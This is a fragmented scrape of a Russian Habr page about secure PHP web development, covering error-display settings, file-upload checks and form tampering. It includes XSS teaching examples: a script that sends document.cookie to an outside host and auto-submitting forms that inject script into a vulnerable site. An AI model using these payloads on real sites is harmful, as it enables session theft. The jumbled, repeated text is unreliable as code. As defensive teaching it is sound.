Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
П.С. В таком случае взломщик выступает еще + как и тестер :) *вот только он нам не скажет где ошибку нашел *php_flag display_errors offecho("You typed this:");
echo($_POST['myText']);$_POST['myText'] = '<script>alert("Hello!");</script>';
<script>
img = new Image(); img.src = "http://sniffer.ru/image.png?"+document.cookie;
</script>
echo("You typed this:");
echo($_POST['myText']);<?php echo($_POST['myText']); ?>
<form action="http://mycoolsite.sx/index.php" method="post">
<input type="hidden" name="myText" value="<script>alert('you are hacked')</script>" />
<input type="submit" value="Нажми, если хочешь посмотреть прикольную картинку" />
</form>
<form method="post" target="http://your-buggy-site.com"> <input type="text" name="myText" value="<script>alert(document.cookies);</script>"/> </form> <script> document.forms[0].submit(); </script>
Данные между браузером и веб-сервером передаются в зашифрованном виде и не могут быть расшифрованы в случае перехвата сниффером.
error_reporting(E_ALL);
@ini_set("display_errors", 0);
@ini_set("log_errors", 1);4. Предотвращение скачивания пользовательских файлов по прямой ссылке
error_reporting(0);
ini_set('display_errors', 0);
error_reporting(E_ALL ^ E_NOTICE);
ini_set('log_errors', 1);
ini_set('error_log', '/path/to/log/file.log');
ini_set('display_errors', 0);
register_globals = Off
allow_url_include = Off
1. $_FILES['file']['error'] === UPLOAD_ERR_OK
2. $_FILES[‘file’][‘size’] != 0
3. $_FILES[‘file’][‘tmp_name’] != ‘none’
4. is_uploaded_file($_FILES['file']['tmp_name'])
Допустим у вас есть интернет магазин, в котором цена продукта берется из поля на форме. Поменяв значение поля, злоумышленник сможет купить товар по более низкой цене.
Полагать что если какую то приватную часть разместить в папке под трудноугадываемым названием (domain.com/kSDsgf93/), то о ее положении никто не догадается и дополнительные ограничительные меры не требуются
Допустим у вас есть интернет магазин, в котором цена продукта берется из поля на форме. Поменяв значение поля, злоумышленник сможет купить товар по более низкой цене.
12 навыков создания защищенных веб-приложений